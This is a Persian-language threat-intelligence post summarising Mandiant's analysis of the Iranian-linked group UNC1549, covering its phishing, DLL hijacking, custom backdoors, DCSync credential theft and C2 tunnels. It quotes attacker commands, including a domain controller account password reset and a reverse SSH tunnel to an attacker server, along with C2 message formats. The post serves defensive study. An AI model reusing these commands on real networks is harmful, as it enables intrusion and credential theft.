در سال گذشته، شرکت Mandiant پستی در خصوص فعالیتهای مشکوک جاسوسی منتسب به ایران رو که صنایع هوافضا، هوانوردی و دفاعی در خاورمیانه رو هدف قرار داده بود، منتشر کرد. در این پست تکمیلی، Mandiant، تاکتیکها، تکنیکها و روشهای (TTPs) جدیدی رو که در رخدادهای منتسب به گروه هکری UNC1549 مشاهده کرده رو برای تحلیل بیشتر ارائه کرده.
گروه هکری UNC1549 با نامهای Subtle Snail، Nimbus Manticore، Smoke Sandstorm و Tortoiseshell هم شناخته میشه.
نمای کلی:
از اواسط سال ۲۰۲۴، Mandiant به کمپین های هدفمندی رسیدگی کرده که توسط گروه تهدید UNC1549 علیه صنایع هوافضا، هوانوردی و دفاعی انجام شدن. برای دستیابی اولیه به این محیطها، UNC1549 از یک رویکرد دوگانه استفاده کرده:
- اجرای کمپینهای فیشینگ بسیار ماهرانه برای سرقت اعتبارنامهها یا تحویل بدافزار
- سوءاستفاده از ارتباطات مورد اعتماد با تأمین کنندگان و شرکای شخص ثالث.
تکنیک دوم بویژه هنگام هدف قرار دادن سازمانهایی با بلوغ امنیتی بالا، مانند پیمانکاران دفاعی، بسیار راهبردی است. در حالیکه این اهداف اصلی، معمولا سرمایه گذاری زیادی روی دفاعهای قوی انجام میدن، شرکای ثالث اونا ممکنِ وضعیت امنیتی ضعیف تری داشته باشن. این نابرابری به UNC1549 مسیر سادهتری برای نفوذ میده، بطوریکه با هک یک نهاد مرتبط، میتونه کنترلهای امنیتی هدف نهایی رو هم دور بزنه.
UNC1549 از اواخر ۲۰۲۳ تا ۲۰۲۵ از بردارهای پیچیده، برای دسترسی اولیه استفاده کرده، از جمله: سوءاستفاده از ارتباط با شرکتهای ثالث برای ورود (نفوذ از ارائه دهندگان خدمات به مشتریان اونا)، فرار از محیطهای VDI متعلق به طرف ثالث و فیشینگ بسیار هدفمند و مرتبط با نقش قربانی.
بعد از نفوذ، این گروه از تکنیکهای خلاقانه حرکت جانبی استفاده میکنه، از جمله:
- سرقت کد منبع قربانی برای اجرای حملات فیشینگ هدفمند (Spear-Phishing) با دامنه های مشابه، جهت دور زدن پروکسی ها
- سوءاستفاده از سامانه های داخلی تیکتینگ (Ticketing) برای دسترسی به اعتبارنامهها.
اونا از ابزارهای اختصاصی استفاده میکنن، بویژه DCSYNCER.SLICK، نسخهای که از طریق Search Order Hijacking اجرا شده و برای انجام حملات DCSync بکار میره.
کمپین UNC1549 با تمرکز بر پیشبینی حرکتهای تیمهای تحقیقاتی و تضمین ماندگاری بلند مدت بعد از کشف، متمایز میشه. اونا بکدورها رو طوری قرار میدن که ماهها در سکوت سیگنال دهی کنن و تنها زمانی فعال بشن که قربانی تلاش به حذف آلودگی میکنه. اینجوری دوباره میتونن دسترسی رو بازیابی کنن.
این گروه مخفی کاری و ارتباط C2 خودش رو با استفاده گسترده از Reverse SSH Shellها که شواهد دیجیتال کمی باقی میذارن و دامنههایی که بصورت راهبردی شبیه صنایع قربانی طراحی شدن، حفظ میکنه.
فعالیت های تهدید:
نفوذ اولیه:
یکی از بردارهای اصلی دسترسی اولیه که توسط UNC1549 بکار گرفته شده، ترکیب مهندسی اجتماعی هدفمند با سوءاستفاده از اکانتهای کاربری به خطر افتاده در سازمانهای ثالث بوده. این گروه با استفاده از اعتبارنامههایی که از فروشندگان، شرکا یا سایر نهادهای خارجی مورد اعتماد بدست آوردن، از مسیرهای دسترسی مشروع و طبیعی موجود در این نوع روابط سوءاستفاده کردن.
سرویسهای شخص ثالث:
بطور قابل توجهی، این گروه بارها از سرویسهای Citrix، VMware و Azure Virtual Desktop & Application که توسط سازمان قربانی برای شرکا، همکاران و پیمانکاران ارائه شده بود، سوء استفاده کرده. UNC1549 با استفاده از اعتبارنامههای سرقت شده متعلق به این طرفهای ثالث، ابتدا وارد زیرساخت تأمین کننده شده و یک پایگاه اولیه در محیط هدف ایجاد کرده. بعد از احراز هویت، این گروه از تکنیکهایی برای فرار از محدودیتهای امنیتی و مرزهای ایزولهسازی در نشستهای مجازی Citrix استفاده کرده. این نوع فرار به اونا اجازه میداد به سیستم میزبان اصلی یا بخشهای مجاور شبکه دسترسی پیدا کنن و بعدش فعالیتهای حرکت جانبی رو در عمق شبکه سازمان هدف آغاز کنن.
فیشینگ هدفمند (Spear Phishing):
UNC1549 از ایمیلهای فیشینگ هدفمند هم، بعنوان یکی از روشهای نفوذ اولیه به شبکه استفاده کرده. این ایمیلها معمولا شامل طعمههایی مرتبط با فرصتهای شغلی یا روندهای استخدامی بودن تا قربانی رو ترغیب کنن، که فایل پیوست آلوده یا لینک مخرب رو دانلود و اجرا کنه. شکل زیر نمونهای از یک ایمیل فیشینگ رو نشان میده که برای یکی از قربانیان ارسال شده.

بعد از یک نفوذ موفق، Mandiant مشاهده کرده که UNC1549 به اجرای کمپین های فیشینگ هدفمند با محوریت کارکنان IT و مدیران شبکه روی میاره. هدف این مرحله، دستیابی به اعتبارنامههایی با سطح دسترسی بالاتر بوده. برای واقعی تر جلوه دادن این ایمیلها، مهاجم ابتدا شناسایی (Recon) انجام میداد، از جمله:
- بررسی ایمیلهای قدیمی موجود در صندوقهای ایمیل هک شده، برای یافتن درخواستهای واقعی بازیابی پسورد
- شناسایی صفحات داخلی سازمان برای ریست پسورد
- در ادامه ساختن ایمیلهای مخرب جدید که دقیقا شبیه این فرایندهای واقعی باشه
ماندگاری:
برای حفظ ماندگاری در شبکههای هک شده، UNC1549 چندین بکدور سفارشی مستقر کرده. فراتر از MINIBIKE (که Mandiant در پست فوریه ۲۰۲۴ به اون پرداخته بود)، این گروه از بدافزارهای سفارشی دیگه ای مانند TWOSTROKE و DEEPROOT هم استفاده کرده.
Mandiant کشف کرده که اگر چه ابزارهای مرحله اول نفوذ تکراری و غیر منحصر به فرد بودن، اما همه ی پیلودهای Post-Exploitation، هش منحصر به فردی داشتن، حتی اگه چند نمونه از یک خانواده بکدور در یک شبکه قربانی باشه. این موضوع نشان دهنده ی، سطح پیشرفتگی بسیار بالای UNC1549، تلاش زیاد برای سفارشی سازی ابزارها و سختتر کردن کار شناسایی و تحلیل فارنزیک است.
Search Order Hijacking (SOH):
وقتی یک برنامه در ویندوز اجرا میشه، برای لوود DLLهای مورد نیازش مراحل مشخصی داره. ویندوز DLL رو طبق یک ترتیب جستجو (Search Order) در مسیرهای مختلف بررسی میکنه، مانند:
- مسیر اجرای برنامه (Program Directory)
- مسیر System32
- مسیر Windows
- مسیرهای موجود در PATH
- و …
اگه در اولین مسیر، یک DLL با همان نام وجود داشته باشه، ویندوز همان رو لوود میکنه. مثلا فرض کنید شما یک برنامه ای دارید که DLL رو از System32 میخونه و مسیر دقیق این DLL در برنامه هم اعلام نشده. بنابراین اگه یک DLL هم نام رو در فولدر خود برنامه بزارید، با توجه به ترتیب جستجو، ویندوز اول میره سراغ این DLL و اون رو اجرا میکنه. بدین ترتیب اگه اون DLL مخرب باشه، مهاجم میتونه ماندگاری رو با هر بار اجرای این برنامه داشته باشه.
UNC1549 با سوء استفاده از DLL Search Order Hijacking اقدام به اجرای پیلودهای زیر کرده:
- CRASHPAD
- DCSYNCER.SLICK
- GHOSTLINE
- LIGHTRAIL
- MINIBIKE
- POLLBLEND
- SIGHTGRAB
- TWOSTROKE
این تکنیک اجازه میده ابزارهای مخرب بصورت ماندگار و مخفیانه اجرا بشن. UNC1549 در جریان تحقیقات مختلف نشان داده که شناخت بسیار جامعی از وابستگیهای نرمافزاری داره و SOH رو در چندین نرمافزار مختلف اکسپلویت کرده. ابزارهای مخرب اونا فایلهای اجرایی قانونی زیر رو هدف قرار دادن:
- Fortigate
- VMware
- Citrix
- Microsoft
- NVIDIA
در بسیاری از موارد، مهاجم ابتدا نرمافزار قانونی رو نصب کرده تا امکان سوء استفاده از SOH رو فراهم کنه. اما در سایر موارد، از نرمافزار نصب شده قربانی استفاده کرده و DLLهای مخرب رو که معمولا با سطح دسترسی SYSTEM اجرا میشن رو در دایرکتوری برنامه قرار داده.
TWOSTROKE:
TWOSTROKE یک بکدور توسعه داده شده در ++C هستش که از اتصال SSL روی TCP/443، برای ارتباط با C2 استفاده میکنه. این بدافزار دارای مجموعه دستورات گستردهای است، از جمله: جمعآوری اطلاعات سیستم، لوود DLL، دستکاری فایل، ماندگاری. TWOSTROKE شباهتهایی به MINIBIKE داره، اما یک بکدور منحصر به فرد محسوب میشه.
پس از اجرای TWOSTROKE، از یک روال خاص برای تولید یک شناسه منحصر به فرد برای قربانی، استفاده میکنه. TWOSTRIKE نام کامل سیستم، در شبکه رو، با استفاده از تابع API ویندوز GetComputerNameExW(ComputerNameDnsFullyQualified) بازیابی میکنه. (DNS Computer Name یا Fully Qualified DNS Computer Name همان نام کامل سیستم در شبکه است که به شکل یک دامنه کامل (FQDN) نمایش داده میشه.)
بعدش این نام بازیابی شده رو با استفاده از یک کلید ثابت، XOR میکنه. بعد از رمزگذاری، دادههای باینری حاصل به یک رشته هگزادسیمال با حروف کوچک تبدیل میشن. در نهایت، TWOSTROKE هشت کاراکتر اول این رشته هگزادسیمال رو استخراج و معکوس کرده و از اون بعنوان شناسه منحصر به فرد قربانی برای ارتباط بعدی با سرور C2 استفاده میکنه.
قابلیتها:
بعد از ارسال درخواست بررسی به C2، پاسخ سرور شامل پیلود هگز شده با مقادیر جداشده با @##@ هستش که بسته به دستور، TWOSTROKE میتونه کارهای زیر رو انجام بده:
- آپلود فایل به C2
- اجرای فایل یا دستور Shell
- اجرای DLL در حافظه
- دانلود فایل از C2
- دریافت نام کاربری کامل قربانی
- دریافت نام کامل سیستم قربانی
- گرفتن لیست یک دایرکتوری
- حذف یک فایل
LIGHTRAIL:
UNC1549 یک فایل ZIP رو از زیرساخت مهاجم دریافت میکنه. این ZIP شامل LIGHTRAIL در قالب VGAuth.dll بوده و از طریق Search Order Hijacking و فایل VGAuthCLI.exe اجرا میشه.
LIGHTRAIL یک Tunneler سفارشی است که احتمالا مبتنی بر پروکسی متن باز Socks4a بنام Lastenzug هستش و ارتباطات رو از طریق زیرساخت Azure انجام میده.
تفاوتهای مهم LIGHTRAIL با Lastenzug:
- افزایش MAX_CONNECTIONS از ۲۵۰ به ۵۰۰۰
- پیکربندی ثابت داخل تابع lastenzug (مسیر (wPath) و پورت ثابت (port))
- عدم پشتیبانی از Proxy هنگام اتصال به WebSocket C2
- کاهش تعداد توابع از ۲۶ به ۱۰ با بهینه سازی کامپایلر
علاوه بر این، LastenZug برای شناسایی توابع DLLها و API ها از روش Hashing استفاده میکنه. بطور پیش فرض، مقدار هش با مقدار XOR ،0x41507712 میشه، اما در نمونهی مشاهده شده از LIGHTRAIL مقدار XOR با مقدار موجود در سورس کد اصلی متفاوتِ و برابر 0x41424344 (رشتهی “ABCD”) هستش.
بعد از لوود آدرس توابع موردنیاز API، مرحلهی مقداردهی اولیه ادامه پیدا میکنه و مقدارهای نام سرور (wServerName)، پورت و URI (wPath) تنظیم میشن. پورت بصورت هاردکد برابر 443 (برای HTTPS) تعیین شده و مسیر (Path) هم بصورت هاردکد برابر “/news” است. این رفتار با سورس کد اصلی متفاوتِ، چون در نسخهی اصلی، این مقدارها بعنوان پارامتر ورودی به تابع lastenzug داده میشن.
تابع initWS مسئول برقراری اتصال WebSocket است و این کار رو با استفاده از WinHTTP ویندوز انجام میده. تابع initWS یک User-Agent هاردکد شده داره که اون رو بصورت یک Stack String ایجاد میکنه.
|
1 |
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136 |
Mandiant یک نمونه LIGHTRAIL دیگه رو شناسایی کرده که از آلمان در VirusTotal آپلود شده و دامنه C2 بصورت عمدی تغییر داده شده:
|
1 2 3 4 5 6 7 |
GET https://aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com/page HTTP/1.1 Host: aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com Connection: Upgrade Upgrade: websocket User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136 Sec-WebSocket-Key: 9MeEoJ3sjbWAEed52LdRdg== Sec-WebSocket-Version: 13 |
نکته قابل توجه اینِ که این نمونه از یک مسیر URL متفاوت برای ارتباط خودش استفاده میکنه، اما همچنین User-Agent در این نمونه با نمونهای که در نمونههای قبلی LIGHTRAIL و سورس کد LastenZug مشاهده شده بود، متفاوت است.
DEEPROOT:
DEEPROOT یک بکدور لینوکسی است که در Golang نوشته شده و تواناییهای زیر رو داره:
- اجرای دستور Shell
- جمعآوری اطلاعات سیستم
- بدست آوردن لیست فایل
- حذف فایل
- آپلود/دانلود فایل
اگر چه نسخه دیده شده مخصوص Linux بوده، اما به علت ماهیت زبان Go، میشه برای سیستم عاملهای دیگه هم کامپایل بشه. در زمان نگارش این گزارش، مورد ویندوزی از این بدافزار رو مشاهده نکردن.
Mandiant چندین دامنه C2 میزبانی شده روی Azure رو برای DEEPROOT مشاهده کرده. هر نمونه شامل چندین C2 هستش تا در صورت خاموش شدن یکی، ارتباط برقرار بمونه.
قابلیتها:
بعد از ارسال درخواست بررسی به سرور C2، سرور یک پیلود کد شده با هگز رو برمیگردونه که شامل چندین مقدارِ، که با ‘-===-‘ از هم جدا شدن.
|
1 |
<sleep_timeout>-===-<command_id>-===-<command>-===-<argument_1>-===-<argument_2> |
- sleep_timeout: مدت زمان انتظار بر حسب میلی ثانیه قبل از ارسال درخواست بعدی
- command_id: شناسهای برای دستور C2 که توسط بکدور، هنگام پاسخ به C2 همراه با نتیجه استفاده میشه.
- command شماره دستور و یکی از موارد زیر هستش:
- 1 – دریافت لیست دایرکتوری، مسیر دایرکتوری در argument_1 دریافت میشه.
- 2 – حذف یک فایل، مسیر فایل در argument_1 دریافت میشه.
- 3 – دریافت نام کاربری قربانی.
- 4 – دریافت نام میزبان قربانی.
- 5 – اجرای یک دستور shell، دستور shell در argument_1 دریافت میشه.
- 6 – دانلود یک فایل از C2، مسیر فایل C2 در argument_1 و مسیر فایل محلی در argument_2 دریافت میشه.
- 7 – آپلود یک فایل در C2، مسیر فایل محلی در argument_1 دریافت میشه.
argument_1 و argument_2، آرگومانهای دستور و بصورت اختیاری هستن.
GHOSTLINE:
GHOSTLINE یک Tunneler ویندوزی نوشته شده در Golang است و از دامنه هاردکد شده برای ارتباط و از کتابخانه go-yamux برای اتصال شبکه استفاده میکنه.
POLLBLEND:
POLLBLEND یک Tunneler ویندوزی هستش که در ++C نوشته شده. نسخههای اولیه POLLBLEND دارای چندین سرور C2 هاردکد شده بودن و از دو پارامتر URI هاردکد شده برای ثبت خودش و دانلود پیکربندی استفاده میکرد. برای ثبت دستگاه، POLLBLEND به /register/ دسترسی پیدا میکرد و یک درخواست HTTP POST با بدنه JSON زیر ارسال میکرد.
|
1 |
{"username": "<computer_name>"} |
Code Signing:
در چندین نفوذ، مشاهده شده که این گروه، برخی از بکدورهای خودش رو با گواهیهای امضایِ کدِ قانونی امضا کرده. تاکتیکی که توسط Check Point هم پوشش داده شده و احتمالا به بدافزار اونا کمک میکنه تا از شناسایی شدن فرار کنه و کنترلهای امنیتی مانند لیستهای مجاز برنامهها رو که اغلب برای اعتماد به کد امضا شده دیجیتالی پیکربندی شدن رو، دور بزنه. این گروه از این تکنیک برای مسلح کردن نمونههای بدافزار، از جمله انواع GHOSTLINE، POLLBLEND و TWOSTROKE، استفاده کرده. همه گواهیهای امضای کد شناسایی شده برای لغو، به مراجع صدور گواهی مربوطه گزارش شدن.
افزایش سطح دسترسی:
مشاهده شده که گروه UNC1549 از مجموعه متنوعی از تکنیکها و ابزارهای سفارشی برای سرقت اعتبارنامهها و جمعآوری دادههای حساس بعد از نفوذ استفاده میکنه. این شامل ابزاری به نام DCSYNCER.SLICK است که برای تقلید از قابلیت قانونی DCSync در اکتیودایرکتوری طراحی شده. DCSync یک عملکرد مشروع در دامین کنترلرهاست که برای همسان سازی (Replication) تغییرات از طریق RPC استفاده میکنه. این ابزار به مهاجمان اجازه میده، هشهای NTLM پسوردها رو مستقیما از دامین کنترلر استخراج کنه. ابزار دیگری به نام CRASHPAD روی استخراج اعتبارنامههای ذخیره شده در مرورگرهای وب تمرکز داره. برای جمعآوری داده های بصری، از SIGHTGRAB استفاده کردن. ابزاری که قابلیت گرفتن اسکرین شاتهای دورهای رو داره و میتونه اطلاعات حساس نمایش داده شده روی صفحه کاربر رو ثبت کنه.
علاوه بر این، UNC1549 از روشهای سادهتر هم استفاده کرده. از جمله ابزار TRUSTTRAP که یک پنجرهی جعلی نمایش میداد و کاربر رو فریب میداد تا اعتبارنامههای خودش رو وارد کنه، که بعدا توسط مهاجم این اطلاعات جمع آوری میشدن.
UNC1549 بطور مکرر حملات DCSync رو جهت بدست آوردن هش های NTLM اکانتهای عضو دامین انجام میده. بعدش این هشها رو کرک میکنن تا حرکت جانبی و افزایش سطح دسترسی رو امکانپذیر کنن. برای دستیابی به امتیاز لازم برای Replication، که برای اجرای DCSync ضروریِ، مهاجم از چندین روش استفاده کرده. از جمله: ریست کردن غیرمعمول پسورد Computer Account دامین کنترلر با استفاده از net.exe. این کار معمولا باعث اختلال در عملکرد DC قربانی میشه، اما در عین حال امکان اجرای DCSync و استخراج اعتبارنامههای حساس، مانند اکانتهای ادمین دامین و Azure AD Connect، رو فراهم میکنه.
|
1 |
net user DC-01$ P@ssw0rd |
UNC1549 همچنین از روشهای دیگه ای برای بدست آوردن امتیاز Replication استفاده کرده، از جمله:
- ایجاد Computer Account جعلی (Rogue Computers)
- سوءاستفاده از Resource-Based Constrained Delegation (RBCD)
- اجرای Kerberoasting با استفاده از اسکریپتهای مبهم شده Invoke-Kerberoast.
در برخی موارد، کمی بعد از ایجاد دسترسی اولیه روی Workstationها، UNC1549 الگوهای آسیبپذیر Active Directory Certificate Services (ADCS) رو پیدا میکنه. از این الگوها برای درخواست گواهی استفاده کردن و خودشون رو جای اکانتهایی با سطح دسترسی بالاتر جا زدن.
همچنین UNC1549 بطور مکرر اعتبارنامههای ذخیره شده در مرورگرها رو هدف قرار داده، هم با ابزارهای مخرب و هم با ربودن جلسات RDP. در روش دوم، بازیگر تهدید ابتدا با استفاده از quser.exe یا wmic.exe مشخص میکرد که کدام کاربر در سیستم لاگین کرده و بعدش با اکانت کاربری اون کاربر از طریق RDP به سیستم وصل میشد تا به نشستهای فعال و باز مرورگر وب اون کاربر دسترسی پیدا کنه.
DCSYNCER.SLICK:
DCSYNCER.SLICK یک فایل اجرایی ویندوزی است که بر اساس پروژه متن باز DCSyncer و همچنین سورس کد Mimikatz ساخته شده. این ابزار تغییر یافته تا از Dynamic API Resolution استفاده کنه و تمام دستورات printf از اون حذف شده. DCSYNCER.SLICK قبل از نوشتن دادهها روی دیسک، اعتبارنامهها رو جمعآوری و با XOR رمز و در مسیرهای زیر ذخیره میکنه:
|
1 2 |
C:\users\public\LOG.txt C:\Program Files\VMware\VMware Tools\VMware VGAuth\LOG.txt |
برای فرار از شناسایی، UNC1549 این بدافزار رو با اکانت کاربری دامین کنترلر هک شده، اجرا میکنه. مهاجم این کار رو با ریست پسورد اکانت انجام میده، اما بجای استفاده از دستور استاندارد netdom، از دستور زیر استفاده میکنن:
|
1 |
net user <computer_name> <password> |
بعدش با این اعتبارنامه جدید، پیلود مربوط به DCSYNCER.SLICK رو اجرا میکنن. این تکنیک باعث ایجاد تصور غلطی از یک Replication مشروع بین دامین کنترلرهای واقعی میشه.
CRASHPAD:
CRASHPAD یک فایل اجرایی ویندوزی هستش که با ++C نوشته شده، که محتوای فایل config.txt رو رمزگشایی و خروجی رو در فایل crash.log مینویسه. این کار از طریق جعل هویت سطح دسترسی explorer.exe و استفاده از CryptUnprotectData انجام میشه.
|
1 2 |
C:\Program Files\VMware\VMware Tools\VMware VGAuth\crash.log C:\Program Files\VMware\VMware Tools\VMware VGAuth\config.txt |
محتوای این فایلها مشخص نیست، چون UNC1549 خروجی رو بعد از اجرا حذف کرده. مسیرهای CRASHPAD هم مانند LOG.txt در DCSYNCER.SLICK هاردکد شده بودن.
SIGHTGRAB:
SIGHTGRAB یک فایل اجرایی ویندوزی هستش که با C نوشته شده و کارش اینِ که بصورت خودکار در فواصل زمانی منظم اسکرینشات میگیره و روی دیسک ذخیره میکنه. هنگام اجرا، SIGHTGRAB چندین کتابخانه رو بصورت داینامیک لوود میکنه:
- User32.dll
- Gdi32.dll
- Ole32.dll
SIGHTGRAB با استفاده از فراخوانیهای LoadLibraryA و GetProcAddress و رشتههای رمز شده، توابع API رو در زمان اجرا شناسایی میکنه تا به توابع سیستمی دسترسی پیدا کنه. SIGHTGRAB از رمزگذاری XOR با کلید تک بایتی 0x41، برای رمزگشایی نام توابع API استفاده میکنه.
برای نام گذاری دایرکتوری ذخیره سازی، Timestamp فعلی رو میگیره و اون رو به قالب: YYYY-MM-DD-HH-MM تبدیل میکنه، بعدش دایرکتوری جدید میسازه و اسکرین شاتها رو بصورت شماره گذاری شده در اون قرار میده.
|
1 2 3 4 5 6 7 |
C:\Users\Public\Videos\2025-3-7-10-17\1.jpg C:\Users\Public\Videos\2025-3-7-10-17\2.jpg C:\Users\Public\Videos\2025-3-7-10-17\3.jpg C:\Users\Public\Music\2025-3-7-10-17\1.jpg C:\Users\Public\Music\2025-3-7-10-17\2.jpg C:\Users\Public\Music\2025-3-7-10-17\3.jpg |
Mandiant مشاهده کرده که UNC1549 این ابزار رو روی Workstationها بصورت هدفمند مستقر میکنه برای هدف قرار دادن دو دسته از کاربران:
- کاربرانی که با دادههای حساس کار میکنن و امکان افشای دادهها و استخراج اونارو فراهم میکنن.
- کاربرانی که دسترسی بالا دارن و امکان افزایش امتیاز و دسترسی به سیستمهای محدود رو فراهم میکنن.
TRUSTTRAP:
TRUSTTRAP یک بدافزارِ که یک پنجره جعلی ویندوزی نمایش میده، تا کاربر رو فریب بده و وادار کنه اعتبارنامه خودش رو وارد کنه. اعتبارنامههای جمعآوری شده در فایلی بصورت متن ساده، ذخیره میشن. شکل زیر یک نمونه پنجره نمایش داده شده توسط این بدافزار رو نمایش میده که در حال جعل Microsoft Outlook هستش.

TRUSTTRAP حداقل از سال ۲۰۲۳ توسط UNC1549 برای سرقت اعتبارنامه کاربران، جهت حرکت جانبی مورد استفاده قرار گرفته.
شناسایی (Reconnaissance) و حرکت جانبی (Lateral Movement):
برای انجام ریکان داخلی، گروه UNC1549 از ابزارهای مشروع و همچنین ابزارهای عمومی و در دسترس استفاده میکنه تا در میان فعالیتهای عادی مدیریتی شبکه مخفی بمونن.
ابزار AD Explorer که یک برنامه معتبر و امضا شده توسط مایکروسافتِ، برای کوئری گرفتن از Active Directory و بررسی جزئیات پیکربندی اون بکار گرفته شده. در کنار این ابزار، این گروه از دستورات داخلی ویندوز مانند: net user و net group، برای شناسایی اکانتهای کاربری خاص و عضویت اونا در گروههای مختلف دامنه استفاده کرده. همچنین از اسکریپتهای پاورشل برای عملیات پینگ و اسکن پورت در زیربخشهای شبکه، معمولا اونایی که با سرورهای با امتیاز بالا یا ایستگاههای کاری مدیران IT مرتبط هستن، استفاده کرده.
گروه UNC1549 بسته به محدودیتهای موجود در محیط قربانی، از روشهای بسیار متنوعی برای حرکت جانبی استفاده میکنه. رایجترین روش مشاهده شده اتصال از طریق RDP بود. علاوه بر این، Mandiant موارد زیر رو هم شناسایی کرده:
- استفاده از PowerShell Remoting
- استفاده از ابزار Atelier Web Remote Commander (AWRC)
- استفاده از کنترل از راه دور SCCM، شامل اجرای نسخه های مختلف SCCMVNC برای فعالسازی قابلیت ریموت کنترل SCCM روی سیستمها.
Atelier Web Remote Commander (AWRC)
Atelier Web Remote Commander (AWRC) یک ابزار تجاری برای مدیریت، ارزیابی و پشتیبانی از سیستمهای ویندوزی بصورت ریموت است. ویژگی مهم و متمایز کننده این ابزار، بدون نیاز بودن به Agent است. یعنی روی سیستم مقصد هیچ نرمافزار یا پیش نیاز اضافی نصب نمیشه. این موضوع به ادمین ها اجازه میده فورا و بدون پیکربندی خاص به سیستمها متصل بشن.
گروه هکری UNC1549 از این ابزار، برای انجام فعالیتهای پس از نفوذ استفاده کرده. فعالیتهای شناسایی شده شامل موارد زیرِ:
- ایجاد اتصال ریموت: UNC1549 از AWRC برای برقراری اتصال از راه دور به میزبانهای هدف در شبکه ی هک شده، استفاده کرده.
- انجام ریکان داخلی: این گروه از قابلیتهای داخلی AWRC برای جمعآوری اطلاعات استفاده میکنه، از جمله:
- شمارش سرویس های در حال اجرا
- شمارش سرویس های فعال
- شمارش نشستهای فعال RDP موجود روی سیستم
- سرقت اعتبارنامهها: با سوءاستفاده از امکانات AWRC، فایلهای حساس مرورگرها که معمولا حاوی اطلاعات ذخیره شده احراز هویت هستن رو استخراج میکنن.
- استقرار بدافزار: UNC1549 از AWRC بعنوان یک مسیر انتقال استفاده کرده و توسط اون بدافزارها رو روی سیستمهای آلوده منتقل و اجرا کرده.
SCCMVNC:
SCCMVNC ابزاریِ که برای استفاده از قابلیت Remote Control موجود در Microsoft System Center Configuration Manager (SCCM/ConfigMgr) طراحی شده. این ابزار بدون نیاز به ماژولهای شخص ثالث یا دریافت رضایت/نمایش اعلان برای کاربر، دسترسی ریموتی مشابه VNC فراهم میکنه.
|
1 |
SCCM.exe reconfig /target:[REDACTED] |
کارکرد اصلی SCCMVNC بر پایه دستکاری قابلیت Remote Control پیش فرض SCCM است. بجای نصب یک سرور VNC یا ابزار ریموت دیگه، این ابزار مستقیما با سرویس Remote Control داخلی SCCM روی سیستمهای کلاینت تعامل کرده و تنظیمات اون رو دوباره پیکربندی میکنه. این شیوه از یک مؤلفه موجود، معتبر و قابل اعتماد در محیط سازمانی استفاده میکنه.
یکی از بخشهای کلیدی SCCMVNC توانایی اون در غیرفعالسازی مکانیزمهای استاندارد رضایت و اعلان کاربر است. بصورت معمول، هنگام شروع یک جلسه Remote Control در SCCM،کاربر باید اجازه بده و آیکونها یا نوارهای اعلان اتصال برای کاربر نمایش داده میشه، اما SCCMVNC با اعمال تغییرات روی تنظیمات SCCM، عمدتا از طریق WMI، این الزامات رو غیرفعال میکنه. نتیجه اینِ که دسترسی ریموت کاملا بی صدا انجام میشه و کاربر هیچ اعلان یا درخواستی مشاهده نمیکنه و مهاجم تجربهای مشابه VNC مخفی رو خواهد داشت.
کانالهای C2:
گروه UNC1549 همچنان از Microsoft Azure Web Apps و زیرساختهای ابری، برای ایجاد و نگهداری کانالهای C2 استفاده میکنه. در کنار بکدورهایی مانند MINIBUS، MINIBIKE و TWOSTROKE، یکی از مهمترین روشهای این گروه ایجاد Reverse SSH Tunnels روی سیستمهای آلوده است. این تونلها ترافیک رو از سرورهای C2 به سیستمهای قربانی فوروارد میکنن.
استفاده از Reverse SSH باعث میشه شواهد قابل بررسی روی سیستم قربانی بسیار محدود باشه، چون ابزارهای امنیتی معمولا تنها اتصالهای شبکهای رو ثبت میکنن، اما هیچ دادهای از فعالیت واقعی تونل در سیستم مقصد باقی نمیونه. برای مثال، در طول جمع آوری دادهها از اشتراکهای SMB، اتصالات خروجی از فرآیندهای SSH به پورت ۴۴۵ در سیستمهای راه دور مشاهده شد، اما دادههای واقعی جمع آوری شده بدلیل ارسال مستقیم به سرور و غیرفعال بودن لاگ گیری Object Auditing، قابل تأیید نبودن. نمونه ای از دستور Reverse SSH رو در زیر مشاهده میکنید.
|
1 |
C:\windows\system32\openssh\ssh.exe[Username]@[IP Address] -p 443 -o ServerAliveInterval=60 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -f -N -R 1070 |
Mandiant همچنین شواهدی از UNC1549 رو شناسایی کرده که از انواع روشهای دسترسی از راه دور دیگه، از جمله ZEROTIER و NGROK، استفاده کرده. در برخی موارد، این روشهای جایگزین تا زمانیکه سازمانهای قربانی اقدامات اصلاحی رو انجام نداده بودن، توسط عامل تهدید مورد استفاده قرار نمیگرفتن، که نشان میده UNC1549 این ابزارها رو بصورت پشتیبان مستقر میکنه تا در صورت قطع شدن دسترسی اصلی، بتونه دوباره وارد محیط قربانی بشه.
انگیزه ی مأموریت:
جاسوسی:
فعالیتهای UNC1549 به شدت انگیزه های جاسوسی داره و اهداف عملیاتی اونا روی جمعآوری گسترده دادهها از شبکههای هدف متمرکز هستش. این گروه بطور فعال به دنبال اطلاعات حساسِ، از جمله: مستندات شبکه و IT، مالکیت فکری، ایمیلها و مکاتبات مهم.
علاوه بر این، UNC1549 اغلب از سازمانهای هک شده بعنوان نقطه Pivot استفاده میکنه، یعنی با استفاده از دسترسی به یک سازمان، سایر شرکتها، بویژه سازمانهایی در همان صنعت رو هدف قرار میده. این رویکرد در واقع نوعی نفوذ از طریق تأمین کنندگان و شرکای ثالث برای تقویت اهداف اطلاعاتی اوناست.
نکته قابل توجه اینِ که Mandiant به یک مورد نفوذ پاسخ داده که سازمان هدف در حوزهای کاملا نامرتبط فعالیت میکرده. بررسیها نشان داد این نفوذ اتفاقی و فرصت طلبانه بوده، چون طعمه فیشینگ اولیه مربوط به یک موقعیت شغلی در یک شرکت هوافضا و دفاعی بوده. این موضوع نشان میده UNC1549 توانایی تخصیص منابع برای گسترش دسترسی و حفظ پایداری در سازمانهایی رو داره که لزوما با اهداف سنتی جاسوسیشان همخوانی ندارن.
فرار از شناسایی:
